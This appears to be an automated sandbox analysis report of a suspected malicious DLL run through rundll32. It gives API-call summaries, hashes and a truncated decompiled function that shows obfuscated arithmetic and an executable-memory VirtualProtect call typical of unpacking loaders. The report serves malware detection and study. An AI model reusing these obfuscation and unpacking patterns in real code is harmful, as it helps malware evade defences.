Part of subcall function 6DCF1450: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF1464
Part of subcall function 6DCF1450: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6DCF14A1

numpunct.LIBCPMT ref: 6DD21539

Part of subcall function 6DD20110: __EH_prolog3.LIBCMT ref: 6DD20117

std::_Locinfo::~_Locinfo.LIBCPMT ref: 6DD2154A

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$H_prolog3$LocinfoLocinfo::_$Locinfo::~_Locinfo_ctorLockitLockit::_numpunct
String ID:
API String ID: 495030518-0
Opcode ID: 02f5479e093fdcdfa39d3458c157439313954fcdc0ee741ca100287d7e43e01c
Instruction ID: 83b460d65be9d84338e84824a13accebdd0b7bf36e8c30c58440da5dc2b1aa8b
Opcode Fuzzy Hash: 02f5479e093fdcdfa39d3458c157439313954fcdc0ee741ca100287d7e43e01c
Instruction Fuzzy Hash: C501D67194422ADEC701EFA8C840AEEBB70AF40788F124056F709B7245DB704A01C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2C229, Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD2C230
std::_Locinfo::_Locinfo.LIBCPMT ref: 6DD2C265

Part of subcall function 6DCF1450: __EH_prolog3.LIBCMT ref: 6DCF1457
Part of subcall function 6DCF1450: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF1464
Part of subcall function 6DCF1450: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6DCF14A1

numpunct.LIBCPMT ref: 6DD2C276

Part of subcall function 6DD2BD9F: __EH_prolog3.LIBCMT ref: 6DD2BDA6

std::_Locinfo::~_Locinfo.LIBCPMT ref: 6DD2C287

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$H_prolog3$LocinfoLocinfo::_$Locinfo::~_Locinfo_ctorLockitLockit::_numpunct
String ID:
API String ID: 495030518-0
Opcode ID: 3403978a9fc19436026fcfb284af53558458a99b59cd89604743e822d5cf5142
Instruction ID: 3a3623b3dedebfad7692bb72d3587d2fe4090277ebab68013def1bf558cd8359
Opcode Fuzzy Hash: 3403978a9fc19436026fcfb284af53558458a99b59cd89604743e822d5cf5142
Instruction Fuzzy Hash: BC01817194521ADADB50EFE8C840BEEBB74AF44798F160116F754AB285DF708E01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1B968, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6DD1B96F

Part of subcall function 6DD1A2F1: __EH_prolog3.LIBCMT ref: 6DD1A2F8
Part of subcall function 6DD1A2F1: std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A302
Part of subcall function 6DD1A2F1: int.LIBCPMT ref: 6DD1A319
Part of subcall function 6DD1A2F1: std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A373

_Find_unchecked1.LIBCPMT ref: 6DD1BB80

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 6DD1B9D7

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockitstd::_$Find_unchecked1H_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 1853221402-2799312399
Opcode ID: 1bada5c30e519248d6f98308bd75053b9b78a5b38bd6ba2b8377e0fd895076df
Instruction ID: 575a5e9a7633c1d1c65a0023d3d7cdfe28d4b6d1f8b20349b185cb817bd25177
Opcode Fuzzy Hash: 1bada5c30e519248d6f98308bd75053b9b78a5b38bd6ba2b8377e0fd895076df
Instruction Fuzzy Hash: B5C16E30D0C289CADF11EBA8ED90BEDBBB2EF46304F164099E4956B387CB749945CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6DD0F218, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(6DDD86A0,0000305A,00000040,6DDD869C,?,00000000,E01606D4,008B1471,?), ref: 6DD0F2D5

Strings

Ea, xrefs: 6DD0F239, 6DD0F385
prW@, xrefs: 6DD0F26A, 6DD0F2FD, 6DD0F305, 6DD0F51D, 6DD0F5B7

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID: Ea$prW@
API String ID: 544645111-1907697215
Opcode ID: 326673a34443dd6043a72a9e9d29350c02de0672fc14a929686d278002a42394
Instruction ID: 132bf79cc3b38331b102bded0ab5133271df52ebf45afac31178106fcf9a5a13
Opcode Fuzzy Hash: 326673a34443dd6043a72a9e9d29350c02de0672fc14a929686d278002a42394
Instruction Fuzzy Hash: 8E919DB5A05262CFEF14EF69C8817B97BF5FB87321B24812BE441DB285E334A545CB10

Uniqueness

Uniqueness Score: -1.00%

Function 6DD560ED, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 6DD5617D

Strings

pow, xrefs: 6DD56155, 6DD56172

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: d48c77913218b90f757058b72a882ec42f636984d5c11d77d934c1d27f3746b6
Instruction ID: c5bf7ec72d20f539c9d346d08affe32efaa6d7f408040965a8f217b4cb7b3547
Opcode Fuzzy Hash: d48c77913218b90f757058b72a882ec42f636984d5c11d77d934c1d27f3746b6
Instruction Fuzzy Hash: 33513A61E6D14BF7EF027B14C90077E3BB4AB41745F208D58F0D14269AEB7588A4CAE6

Uniqueness

Uniqueness Score: -1.00%

Function 6DD14401, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6DD14408
_strlen.LIBCMT ref: 6DD1441F

Strings

MY@yPD, xrefs: 6DD1454F

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog3_catch_strlen
String ID: MY@yPD
API String ID: 3133806014-882315695
Opcode ID: a3f2be497b8280d2dbd43a4bc4ebffb52500015fe9821cf5fc8bd375b2871400
Instruction ID: c99b5678581e3f0af456ccaa51fe9202736dcb2c90fddb000ef1a0e61b015d0a
Opcode Fuzzy Hash: a3f2be497b8280d2dbd43a4bc4ebffb52500015fe9821cf5fc8bd375b2871400
Instruction Fuzzy Hash: 4B719C74A0815ADFCB14EFA8E8909ACBBF1FF4D318F644169F515AB781D7309941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD11C64, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6DD11F9A: _strlen.LIBCMT ref: 6DD11FAF

CreateSemaphoreA.KERNEL32 ref: 6DD11D27

Strings

Scien sla, xrefs: 6DD11C89
prW@, xrefs: 6DD11C72, 6DD11C9E, 6DD11D33, 6DD11D4A, 6DD11D63, 6DD11DD7

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateSemaphore_strlen
String ID: Scien sla$prW@
API String ID: 3707385866-3322120426
Opcode ID: bf16631c4f6f1dd6dd425bff1cd742bd6510013048372f1fbfab7d0a8c8ff8c2
Instruction ID: 3b26f4e396e5e3a7b3ac3e7ce1a1c1d109cbcec5ff0418480e02dff5d0244efe
Opcode Fuzzy Hash: bf16631c4f6f1dd6dd425bff1cd742bd6510013048372f1fbfab7d0a8c8ff8c2
Instruction Fuzzy Hash: 99416AB5A04232CFDF18EF29C891B39BBF5FB9B351B54552BE086C7281D334A0058B91

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6DBAF, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,6DD6DE50,?,00000050,?,?,?,?,?), ref: 6DD6DC8A

Strings

OCP, xrefs: 6DD6DC03
ACP, xrefs: 6DD6DBCD

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: db0e81ee76291aca5e19c16fba017b278ae7fe5c305d0545a406291c5f57c757
Instruction ID: 717b800486c0ec0f13fd3cbe190a7d9d74d0a833ddf710d6fb504be4f22ed09f
Opcode Fuzzy Hash: db0e81ee76291aca5e19c16fba017b278ae7fe5c305d0545a406291c5f57c757
Instruction Fuzzy Hash: 6321C762A4418AE7E724EF29ED00B9773B6ABC8B60F638424F945D7109E772D940C3F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD19A63, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000D,?,MY@yPD,6DDECE94,?,6DD16B98,00000001,00000000,6DCF1F2E,00000000,?,6DD1401A,6DDECE78,6DD158AF,6DDECE94,ios_base::failbit set), ref: 6DD19AE7

Strings

MY@yPD, xrefs: 6DD19A8D

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast
String ID: MY@yPD
API String ID: 1452528299-882315695
Opcode ID: 235aa057654767a758d9628de79953ef4f273c9d0b6d96f97f5f10a53f3e2684
Instruction ID: 14408d2344d306cec0fcd9ef73eb384210fa86aa198613839ba163bda7ca5764
Opcode Fuzzy Hash: 235aa057654767a758d9628de79953ef4f273c9d0b6d96f97f5f10a53f3e2684
Instruction Fuzzy Hash: 3F11823125C126EFEF127F64EC44A6EBB75FB4A711B108038F96596210DB31D8198BE0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD13751, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6DD13758
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD137E2

Strings

961c151d2e87f2686a955a9be24d316f1362bf21 3.9.1, xrefs: 6DD137BA

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8H_prolog3_Throw
String ID: 961c151d2e87f2686a955a9be24d316f1362bf21 3.9.1
API String ID: 2985221223-1287915644
Opcode ID: 131776705e0803af4c8ee16a2fb690adaa5e84c3c3b05553c429692c13922b25
Instruction ID: bd6c4a07b02d1fcf6a055ab469937d330126fe3c49f372e79c37208b6023759f
Opcode Fuzzy Hash: 131776705e0803af4c8ee16a2fb690adaa5e84c3c3b05553c429692c13922b25
Instruction Fuzzy Hash: BC0192B18AC205EBD701BF64EE457ACB6F4FF1736AF12861AF1C0A2040DBB41585C762

Uniqueness

Uniqueness Score: -1.00%

Function 6DD69D7E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6DD5D5FF: GetLastError.KERNEL32(?,6DDECE94,6DD51803,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D603
Part of subcall function 6DD5D5FF: _free.LIBCMT ref: 6DD5D636
Part of subcall function 6DD5D5FF: SetLastError.KERNEL32(00000000,6DDD2B60,0000000C,6DD1402A,00000000,00000001,?,6DDD6B60,00000020,6DD1159B,40594D09), ref: 6DD5D677
Part of subcall function 6DD5D5FF: _abort.LIBCMT ref: 6DD5D67D

_abort.LIBCMT ref: 6DD69DB0
_free.LIBCMT ref: 6DD69DE4

Strings

xIb, xrefs: 6DD69DEA, 6DD69DF2

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_abort_free
String ID: xIb
API String ID: 289325740-665064642
Opcode ID: 0fe833f8a2d47a4daa802b4da4fac75fd0cf74f9535798570e274f438bc07165
Instruction ID: e581ea95b315e40be75e14f1b7a154c01646004f664034e635cfc135168affbf
Opcode Fuzzy Hash: 0fe833f8a2d47a4daa802b4da4fac75fd0cf74f9535798570e274f438bc07165
Instruction Fuzzy Hash: 57018071D06AA3DBDF11BF69840067DB770BB06B25F56021AF96067681CB3469118FF1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD11C2C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,6DDD8150,00000115), ref: 6DD11C48
GetModuleFileNameA.KERNEL32(00000000), ref: 6DD11C4F

Strings

prW@, xrefs: 6DD11C55

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Module$FileHandleName
String ID: prW@
API String ID: 4146042529-2653440445
Opcode ID: 4eadb4a82e7d34b86da9742f01704a867b7e82fd6b69c5d2ff2d6a11a3e618cc
Instruction ID: f4c3166e54675eaa541e093cbe2cf940c9947cb10274f5412c2261ba6b6eefcc
Opcode Fuzzy Hash: 4eadb4a82e7d34b86da9742f01704a867b7e82fd6b69c5d2ff2d6a11a3e618cc
Instruction Fuzzy Hash: 00D092B9941222DBFF10BFA4C98AB713778F783752B842946B60EDA685D774A4048B10

Uniqueness

Uniqueness Score: -1.00%

Function 6DD64B79, Relevance: 5.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,?,00000000,00000000,00000000,00000000,40594D09,40594D09,00000000,00000000,00000000,?,00000000), ref: 6DD64C0F
GetLastError.KERNEL32 ref: 6DD64C1D
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 6DD64C78

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: c86809e6baaabc412be4d9a58c144c72167b986f8523f67cfb2fd82a48d1386e
Instruction ID: 80ddb88a6c08ef097d1d0ef4a127265c7857175823de44f55bbc4d7f4d18ee6e
Opcode Fuzzy Hash: c86809e6baaabc412be4d9a58c144c72167b986f8523f67cfb2fd82a48d1386e
Instruction Fuzzy Hash: 21411434608297EFDB11AF69CC64BBA7BB4AF0A324F128159F95957291DB318811C7F0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 1140 Parent PID: 2212 rundll32.exeCOMMON

Executed Functions

Function 6DD11285, Relevance: 23.3, APIs: 3, Strings: 10, Instructions: 597
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD11285(void* __ebx, void* __edi, void* __esi) {
				signed int _t127;
				signed int _t129;
				signed int _t131;
				signed int _t133;
				void* _t135;
				int _t139;
				signed int _t142;
				signed int _t146;
				void* _t149;
				signed int _t151;
				signed int _t153;
				void* _t155;
				signed int _t156;
				void* _t164;
				signed int _t168;
				void* _t169;
				signed int _t171;
				void* _t174;
				signed int _t176;
				signed int _t178;
				signed int _t180;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t188;
				signed int _t190;
				signed int _t191;
				signed short* _t193;
				signed int _t195;
				void* _t197;
				signed int _t201;
				signed int _t202;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t216;
				signed int _t222;
				void* _t229;
				signed int _t242;
				signed int _t245;
				signed int _t256;
				signed int _t261;
				signed int _t262;
				signed int _t263;
				signed int _t268;
				void* _t270;
				signed int _t272;
				signed int _t277;
				void* _t281;
				signed int _t282;
				signed int _t286;
				signed int* _t287;
				signed int _t291;
				signed int _t294;
				signed int _t296;
				signed int _t297;
				signed int _t298;
				signed int _t300;
				void* _t301;
				intOrPtr* _t303;
				signed int _t305;
				signed int _t306;
				signed int _t315;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t324;
				signed int _t327;
				signed int _t329;
				signed int _t331;
				signed int _t333;
				signed int _t336;
				signed int _t340;
				signed int _t342;
				signed short _t346;
				signed int _t347;
				signed int _t348;
				signed int _t349;
				signed int _t350;
				signed int _t354;
				signed int _t358;
				signed short* _t360;
				signed int _t362;
				signed int _t364;
				signed int _t369;
				signed int _t371;
				signed int _t372;
				signed int _t375;
				signed int _t380;
				signed int _t381;
				signed int _t382;
				signed int _t383;
				signed int _t386;
				signed int _t389;
				signed int _t390;
				signed int _t391;
				signed int _t393;
				signed int _t394;
				signed int _t395;
				signed int _t396;
				void* _t400;
				void* _t401;
				signed int _t402;
				signed int _t403;
				signed int _t404;
				void* _t405;
				void* _t411;
				intOrPtr _t412;
				void* _t417;
				void* _t418;
				void* _t419;
				void* _t422;
				intOrPtr _t423;
				intOrPtr _t426;
				void* _t427;
				void* _t428;
				void* _t434;
				intOrPtr _t435;
				void* _t446;
				void* _t450;
				signed int _t451;
				void* _t452;
				void* _t453;
				void* _t456;

				_t260 = __ebx;
				E6DD300AC(0x6dd77e6f, __ebx, __edi, __esi, 0x2c);
				_t324 =  *0x6ddd5a90; // 0xaa9c83ab
				_t127 =  *0x6ddd59d0; // 0xaa9e70cb
				_t261 =  *0x6ddd59d8; // 0xf97d6ed4
				_t380 =  *0x6ddd59dc; // 0x4
				_t358 =  *0x6ddd5a00; // 0xda74878a
				_t405 = 0 - _t380;
				_t327 =  *0x6ddd5a90; // 0xaa9c83ab
				 *(_t400 - 0x18) = _t127 + _t324 + 0x31f;
				_t129 = _t261;
				 *(_t400 - 0x2c) = _t129;
				 *(_t400 - 0x1c) = _t380;
				if(_t405 >= 0 && (_t405 > 0 || _t358 >= _t129)) {
					_push(0);
					_t358 = _t358 - _t129 * 0x3d + 0xfffffd1c;
					 *0x6ddd5a58 =  *0x6ddd5a58 + 0xfffffd1c;
					 *0x6ddd5a00 = _t358;
					asm("adc dword [0x6ddd5a5c], 0xffffffff");
					_t380 = 0;
					asm("sbb esi, [ebp-0x1c]");
					_t261 = _t358 -  *(_t400 - 0x2c) + 0x2e4;
					 *0x6ddd59d8 = _t261;
					asm("adc esi, eax");
					 *0x6ddd59dc = 0;
				}
				 *(_t400 - 0x28) =  *0x6ddd59e6 & 0x0000ffff;
				_t131 = 0x6ddd59e6;
				 *(_t400 - 0x2c) = 0x6ddd59e6;
				 *(_t400 - 0x1c) = 0x6ddd59e6;
				do {
					if(_t358 ==  *(_t400 - 0x28)) {
						goto L8;
					} else {
						asm("cdq");
						_t133 = E6DD301E0( *_t131 & 0x0000ffff, _t327, _t261, _t380);
						_t380 = _t327;
						_t261 = _t133;
						_t327 = _t358 + 5 + _t261;
						 *0x6ddd59d8 = _t261;
						 *0x6ddd59dc = _t380;
						 *0x6ddd5a90 = _t327;
						if(_t327 != ( *0x6ddd59f0 & 0x0000ffff)) {
							_t131 =  *(_t400 - 0x1c);
							goto L8;
						}
					}
					break;
					L8:
					_t131 = _t131 + 2;
					 *(_t400 - 0x1c) = _t131;
				} while (_t131 < 0x6ddd5a44);
				_t135 = 6;
				_t411 =  *0x6ddd5a98 - _t135; // 0x6dd7e664
				if(_t411 != 0) {
					L12:
					_t262 = _t261 - 0x27 +  *(_t400 - 0x18) * 0x3d;
					__eflags = _t262;
					 *0x6ddd59d8 = _t262;
					_t263 =  *(_t400 - 0x18);
					asm("sbb esi, edi");
					 *0x6ddd59dc = _t380;
				} else {
					_t412 =  *0x6ddd5a9c; // 0x0
					if(_t412 != 0) {
						goto L12;
					} else {
						_t263 = _t261 + 0x11e05;
					}
				}
				 *0x6ddd59d0 = _t263 - _t327 * 0x3d - 0x2e4;
				_t139 = GetSystemDirectoryA("C:\Windows\system32", 0x56d);
				_t381 =  *0x6ddd5a00; // 0xda74878a
				_t266 = _t139;
				_t329 = 0;
				_t360 = 0x6ddd59e6;
				 *0x6ddd5a90 = _t139 -  *0x6ddd5a90 +  *0x6ddd59d0;
				_t142 =  *0x6ddd59e6 & 0x0000ffff;
				 *0x6ddd59d8 = _t139;
				 *(_t400 - 0x1c) = 0;
				 *0x6ddd59dc = 0;
				do {
					if(_t381 == _t142) {
						goto L17;
					} else {
						asm("cdq");
						_t266 = E6DD301E0( *_t360 & 0x0000ffff, _t329, _t266,  *(_t400 - 0x1c));
						_t256 = _t329;
						 *0x6ddd59d8 = _t266;
						 *(_t400 - 0x1c) = _t256;
						_t381 = _t381 + 5 + _t266;
						 *0x6ddd59dc = _t256;
						 *0x6ddd5a90 = _t381;
						if(_t381 != ( *0x6ddd59f0 & 0x0000ffff)) {
							_t381 =  *0x6ddd5a00; // 0xda74878a
							_t142 =  *0x6ddd59e6 & 0x0000ffff;
							goto L17;
						}
					}
					break;
					L17:
					_t360 =  &(_t360[1]);
				} while (_t360 < 0x6ddd5a44);
				 *0x6ddd59d0 = E6DD10D32();
				GetTempPathA(0x56d, "C:\Users\alfons\AppData\Local\Temp\");
				_t417 =  *0x6ddd5a04 - 0x1b47; // 0xc8
				if(_t417 == 0) {
					_t318 =  *0x6ddd5a90; // 0xaa9c83ab
					_t319 = _t318 + ( *0x6ddd59e6 & 0x0000ffff);
					 *0x6ddd5a90 = _t319;
					_push(0);
					_t320 =  *0x6ddd59d8; // 0xf97d6ed4
					asm("adc [0x6ddd59dc], eax");
					 *0x6ddd59d8 = _t320 + 0x3b + _t319 * 2;
				}
				_t146 = E6DD10D32();
				_t402 = _t401 - 0x10;
				 *0x6ddd59d0 = _t146;
				_t268 = _t402;
				 *(_t400 - 0x34) = _t402;
				_t330 = "6265";
				 *_t268 = 0;
				 *((intOrPtr*)(_t268 + 8)) = 0;
				 *((intOrPtr*)(_t268 + 0xc)) = 0;
				E6DD15DAB(_t268, "6265");
				_push("Had s");
				 *(_t400 - 4) = 0;
				_t149 = E6DD14197(_t260, "6265", 0, _t381);
				 *(_t400 - 4) =  *(_t400 - 4) | 0xffffffff;
				E6DD11E10(_t149);
				_t270 = 6;
				_t418 =  *0x6ddd5a02 - _t270; // 0xda74
				if(_t418 == 0) {
					_t151 =  *0x6ddd59d8; // 0xf97d6ed4
					_t153 = _t151 + 0x11dde +  *0x6ddd59d0;
					__eflags = _t153;
					 *0x6ddd5a90 = _t153;
				} else {
					_t315 =  *0x6ddd59d8; // 0xf97d6ed4
					 *0x6ddd59d0 =  *0x6ddd59d0 +  ~_t315 -  *0x6ddd5a90 * 0x3d;
				}
				_push("cd Island"); // executed
				E6DD5179F(_t260, _t330, 0, _t381);
				_t382 =  *0x6ddd59d0; // 0xaa9e70cb
				_t155 = 6;
				_t25 = _t382 - 0x338; // 0xaa9e6d93
				_t272 = _t25;
				 *0x6ddd5a90 = _t272;
				_t419 =  *0x6ddd5a02 - _t155; // 0xda74
				if(_t419 == 0) {
					_t331 =  *0x6ddd5a00; // 0xda74878a
					_t156 = 0;
					 *0x6ddd59dc = 0;
					_t333 = _t331 + 0x11dde + _t272;
					__eflags = _t333;
					 *0x6ddd59d8 = _t333;
				} else {
					_t333 =  *0x6ddd59d8; // 0xf97d6ed4
					_t156 =  *0x6ddd59dc; // 0x4
					 *0x6ddd5a90 = _t272 - _t333 * 0x3d -  *0x6ddd5a00;
				}
				_push(_t156);
				_push(_t333);
				_push(_t382);
				E6DD14401(_t260, E6DD14401(_t260, E6DD11FF2(_t260, E6DD120D9(_t260, E6DD14267(_t260, 0, _t382, _t419), _t333, 0, _t382), _t333, 0, _t382), 0x6ddd8150, 0, _t382, _t419), "part ", 0, _t382, _t419);
				_t336 =  *0x6ddd5a00; // 0xda74878a
				_t277 = 0x6ddd5a0e;
				_t362 =  *0x6ddd59dc; // 0x4
				_t383 =  *0x6ddd59d8; // 0xf97d6ed4
				do {
